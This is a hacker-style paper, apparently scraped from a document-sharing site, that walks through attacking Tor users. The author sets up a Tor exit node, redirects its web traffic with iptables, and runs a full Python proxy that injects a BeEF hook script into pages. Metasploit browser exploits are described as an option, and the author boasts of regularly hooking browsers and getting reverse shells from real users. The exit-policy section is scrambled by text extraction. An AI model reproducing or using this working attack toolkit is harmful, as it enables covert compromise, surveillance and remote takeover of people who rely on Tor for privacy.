You are on page 1of 8

Description: Jackin' TOR users via evil proxies and the BeEF framework. Author: evell [@] recursive-descent.

net Homepage: http://recursive-descent.net TXT Version: http://recursive-descent.net/hot_beef_injection.txt Section: Papers |=--------------------=[ jackin TOR users via evil proxies ]=-----------------=| |=-------------------------=[ and the BeEF framework. ]=----------------------=| |=----------------------------------------------------------------------------=| |=----------------------------------------------------------------------------=| ----[ Introduction While playing with sslstrip[1] I started thinking about what else I could do with the idea of it, since the method sslstrip uses is basically dead now. What Moxie[2] did was to set up a TOR exit node, sniff all the http traffic goin g through, proxing it to sslsniff, and when sslsniff saw a https link within a htt p page it would rewrite the link to http://. I set up a TOR exit node and started sniffing all the exit traffic, noticing that http traffic was about ninety percent of it. Initially I changed Moxie's sslstrip.py and started re-writing urls, but then thought about using it with the BeEF[3] framework and/or Metasploit[4]. I ended up with: [*] TOR exit node(s), with a reduced policy. [*] Wrote a basic http proxy to inject javascript links, iframes, etc. [*] Used iptables to pipe all the TOR web traffic to my evil proxy. This turns out to work incredibly well. I averaged getting a new box hooked about every thirty minutes. Surprisingly, Metasploit browser modules also worked. I assumed TOR users would have been more security conscious... Using Metasploit I was getting a reverse shell back to me every couple of hours or so at _minimum_. For those of you that have a problem with this, there is a great Youtube video that should clear everything up [5]. I was also going to write a patch into TOR that would take a list of safe urls that are generated per client (so they could not be string matched) and randomly, while you're browsing the tubes, would grab the page via both TOR and without and diff them, reporting if there was a difference. I didn't, but you can ;) ----[ The Setup These instructions are going to be for when you have a Debain based Linux box with a public ip. However, I am sure you can adapt them to whatever. Make sure to use a throw away box you can rm-rf or at least dd when you are done. The setup is extremely simple and you can have the whole thing running in about thirty minutes. The steps basically amount to: 1) Set up your TOR exit node, wait about ten minutes and watch the output tcpdump -xxXX -v -s 1500 -l port 80. 2) Once you have traffic tflowing, next install a few python requirements and run the evil proxy. 3) iptables rule to pipe all the TOR web traffic to your evil proxy, watching hooks in BeEF and shells in Metasploit magically appear.

I am just going to go through using BeEF links. To use Metaploit just setup whatever browser module you want to use, edit eproxy_config.py change PATTERN and EVILLINK to whatever the link is Metasploit gives you wrapped in a 0 size iframe or whatever. ----[ TOR Exit Node Don't install the packages in universe, they are usually old. The commands to run: root@debain# lsb_release -c Codename: natty root@debain# vi /etc/apt/sources.list At the bottom of the file add in: deb http://deb.torproject.org/torproject.org <DISTRIBUTION> main

where <DISTRIBUTION> is your distribution name from the lsb_release output. Close and save the file. Import the TOR gpg keys: root@debain# gpg --keyserver keys.gnupg.net --recv 886DDD89 root@debain# gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add Update your packages: root@debain# apt-get update And install TOR: root@debain# apt-get install tor Edit the TOR config: root@debain# vi /etc/tor/torrc Uncomment ORPort, uncomment Nickname and change ididnteditheconfig to some random string, uncomment RelayBandwidthRate and RelayBandwidthBurst preferably increasing them so you get MOAR! traffic through you. Paste in the reduced exit policy at the bottom, which is: ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy accept accept accept accept accept accept accept accept accept accept accept accept accept accept *:20-23 *:43 *:53 *:79-81 *:88 *:110 *:143 *:194 *:220 *:389 *:443 *:464 *:531 *:543-544 # # # # # # # # # # # # # # FTP, SSH, telnet WHOIS DNS finger, HTTP kerberos POP3 IMAP IRC IMAP3 LDAP HTTPS kpasswd IRC/AIM Kerberos

ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy ExitPolicy

accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept accept reject

*:554 *:563 *:636 *:706 *:749 *:873 *:902-904 *:981 *:989-995 *:1194 *:1220 *:1293 *:1500 *:1533 *:1677 *:1723 *:1755 *:1863 *:2082 *:2083 *:2086-2087 *:2095-2096 *:2102-2104 *:3128 *:3389 *:3690 *:4321 *:4643 *:5050 *:5190 *:5222-5223 *:5228 *:5900 *:6660-6669 *:6679 *:6697 *:8000 *:8008 *:8074 *:8080 *:8087-8088 *:8332-8333 *:8443 *:8888 *:9418 *:9999 *:10000 *:11371 *:19294 *:19638 *:*

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

RTSP NNTP over SSL LDAP over SSL SILC kerberos rsync VMware Remote HTTPS management for firewall FTP over SSL, Netnews Administra OpenVPN QT Server Admin PKT-KRB-IPSec VLSI License Manager Sametime GroupWise PPTP RTSP MSNP Infowave Mobility Server Secure Radius Service (radsec) GNUnet, ELI NBX Zephyr SQUID MS WBT SVN RWHOIS Virtuozzo MMCC ICQ XMPP, XMPP over SSL Android Market VNC IRC IRC SSL IRC SSL iRDMI HTTP alternate Gadu-Gadu HTTP Proxies Simplify Media SPP Protocol, Radan HTTP BitCoin PCsync HTTPS HTTP Proxies, NewsEDGE git distinct Network Data Management Protocol OpenPGP hkp (http keyserver protocol) Google Voice TCP Ensim control panel

Close and save the file. Fully stop TOR and restart it. root@debain# /etc/init.d/tor stop root@debain# /etc/init.d/tor start Start sniffing and wait to see traffic coming from your :80 You can also go and check your status at [6] or any of the other sites set to monitor TOR exit nodes. More info on setting up TOR if there

is a problem can be found at [7][8]. ----[ BeEF Setup /* Important * * BeEF MUST BE RUN ON A DIFFERENT BOX THEN THE TOR/PROXY BOX * */ These are just generic BeEF setup instructions, nothing to it. root@debain2# apt-get install curl git-core ruby subversion libssl-dev libsqlite3-dev root@debain2# cd /tmp root@debain2# bash < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/bi nscripts/rvm-installer ) root@debain2# source /etc/profile.d/rvm.sh root@debain2# rvm install ruby-1.9.2-p290 root@debain2# svn checkout http://beef.googlecode.com/svn/trunk/ beef root@debain2# cd beef root@debain2# chmod 755 insteall root@debain2# ./install (Keep running the installer doing needed options) root@debain2# vi config.yaml (Change the port from 3000 to 3128) Start BeEF root@debain2# ruby beef In the output take note of the two links on your public ip: [ 3:47:21][+] running on network interface: X.X.X.X [ 3:47:21] | Hook URL: http://X.X.X.X:3128/hook.js [ 3:47:21] |_ UI URL: http://X.X.X.X:3128/ui/panel Login to BeEF http://X.X.X.X:3128/ui/panel, username beef, password beef. Once you tested it, Ctrl+C log back out, run screen and restart it. ----[ Evil Proxy Setup Write a simple python http proxy to be run on the same box that TOR is running on. root@debain# vi eproxy.py #!/usr/bin/python from twisted.web import http from twisted.internet import reactor, protocol from twisted.python import log import eproxy_config, zlib, gzip, StringIO, sys, re log.startLogging(open(eproxy_config.LOGFILE, 'w')) class ProxyClient(http.HTTPClient): def __init__(self, method, uri, postData, headers, originalRequest): self.method = method self.uri = uri

self.postData = postData self.headers = headers self.originalRequest = originalRequest self.contentLength = None self.isCompressed = False self.isImageRequest = False def sendRequest(self): log.msg("Sending request: %s %s" % (self.method, self.uri)) self.sendCommand(self.method, self.uri) def sendHeaders(self): for key, values in self.headers: if key.lower() == 'connection': values = ['close'] elif key.lower() == 'keep-alive': next elif key.lower() == 'accept-encoding': values = ['deflate'] for value in values: self.sendHeader(key, value) self.endHeaders() def sendPostData(self): log.msg("Sending POST data") self.transport.write(self.postData) def connectionMade(self): log.msg("HTTP connection made") self.sendRequest() self.sendHeaders() if self.method == 'POST': self.sendPostData() def handleStatus(self, version, code, message): log.msg("Got server response: %s %s %s" % (version, code, message)) self.originalRequest.setResponseCode(int(code), message) def handleHeader(self, key, value): if (key.lower() == 'content-type'): if (value.find('image') != -1): self.isImageRequest = True if (key.lower() == 'content-encoding'): if (value.find('gzip') != -1): log.msg("Response is compressed...") self.isCompressed = True if key.lower() == 'content-length': self.contentLength = value else: self.originalRequest.responseHeaders.addRawHeader(key, value) def injectJavaScriptLink(self, data): if self.isImageRequest: return data

evil_link = eproxy_config.EVILLINK line_pattern = eproxy_config.PATTERN match_found = False matches = re.finditer(line_pattern, data) m = None for m in matches: match_found = True pass if match_found: log.msg("\n[*] Adding host to injected clients list...\n") m.start() m.end() data = data[0:m.end()] + evil_link + data[m.end():] return data def handleResponse(self, data): data = self.originalRequest.processResponse(data) if (self.isCompressed): log.msg("Decompressing content...") data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() #log.msg("Read from server:\n" + data) data = self.injectJavaScriptLink(data) if self.contentLength != None: self.originalRequest.setHeader('Content-Length', len(data)) self.originalRequest.write(data) self.originalRequest.finish() self.transport.loseConnection() class ProxyClientFactory(protocol.ClientFactory): def __init__(self, method, uri, postData, headers, originalRequest): self.protocol = ProxyClient self.method = method self.uri = uri self.postData = postData self.headers = headers self.originalRequest = originalRequest def buildProtocol(self, addr): return self.protocol(self.method, self.uri, self.postData, self.headers, self.originalRequest) def clientConnectionFailed(self, connector, reason): log.err("Server connection failed: %s" % reason) self.originalRequest.setResponseCode(504) self.originalRequest.finish() class ProxyRequest(http.Request): def __init__(self, channel, queued, reactor=reactor): http.Request.__init__(self, channel, queued) self.reactor = reactor

def process(self): host = self.getHeader('host') log.msg("host: %s\n" % host) if not host: log.err("No host header given") self.setResponseCode(400) self.finish() return if host == 'vps6.vpnzz.com': self.setResponseCode(400) self.finish() return port = 80 if ':' in host: host, port = host.split(':') port = int(port) self.setHost(host, port) self.content.seek(0, 0) postData = self.content.read() factory = ProxyClientFactory(self.method, self.uri, postData, self.requestHeaders.getAllRawHeaders(), self) self.reactor.connectTCP(host, port, factory) def processResponse(self, data): return data class TransparentProxy(http.HTTPChannel): requestFactory = ProxyRequest class ProxyFactory(http.HTTPFactory): protocol = TransparentProxy reactor.listenTCP(8888, ProxyFactory()) reactor.run() :wq root@debain# vi eproxy_config.py LOGFILE = 'eproxy.log' EVILLINK = '<script src="http://X.X.X.X:3128/hook.js" type="text/javascript"></s cript>' PATTERN = '</script>' :wq Edit eproxy_config.py and change the EVILLINK to the hook.js one you got from BeEF eg. http://X.X.X.X:3128/hook.js root@debain# chmod 755 eproxy.py root@debain# ./eproxy.py root@debain# tail -f eproxy.log Now we have the evil proxy running on your box, set your proxy in your browser to the box you're running eproxy.py on port 8888.

Browse a http page, view the source and make sure after the last '</script>' tag that you see the line of: <script type="text/javascript" src="http://X.X.X.X:3128/hook.js"></script> Stop eproxy.py, run screen and start ./eproxy.py again. You should still have BeEF running in the screen session from earlier, so go and test the setup. If you clear your cache, set your proxy back to your evil proxy and browse to a page you will get an injected page and you should see yourself popup in BeEF. If not go back and see what you did wrong. ----[ GOGOGO At this point your TOR exit node is running, and web traffic is flowing through it. Your evil proxy (eproxy.py) is running and, when you browse to it, it inject s the EVILLINK. On another server you have BeEF running, which you verified works by going through your proxy manually. The only thing left to do is to take all the TOR web traffic and send it to your proxy. First get the id of the user who is running TOR, which if you followed these directions, will be 109 or debain-tor. root@debain# ps waux | grep tor | grep -v grep | cut -d" " -f1 109 Now we are going to tell iptables to grab any traffic coming from that user which will only be TOR traffic and send that to our proxy. root@debain# iptables -t nat -I OUTPUT -p tcp -m owner --uid-owner 109 --dport 80 -j DNAT --to-destination 127.0.0.1:8888 Login to your BeEF admin ui and you should slowly start seeing hooked browsers. Note that they will all have your proxies ip address, obviously, but you will be able to identify them by the domain that was hooked. ----[ Fini [1] [2] [3] [4] [5] [6] [7] [8] http://www.thoughtcrime.org/software/sslstrip/ http://www.securitytube.net/video/157 http://www.bindshell.net/tools/beef/ http://www.metasploit.com/ http://www.youtube.com/watch?v=DksSPZTZES0 http://torstatus.blutmagie.de/index.php?SR=FBadExit&SO=Desc https://www.torproject.org/docs/debian https://trac.torproject.org/projects/tor/wiki/doc/ReducedExitPolicy

You might also like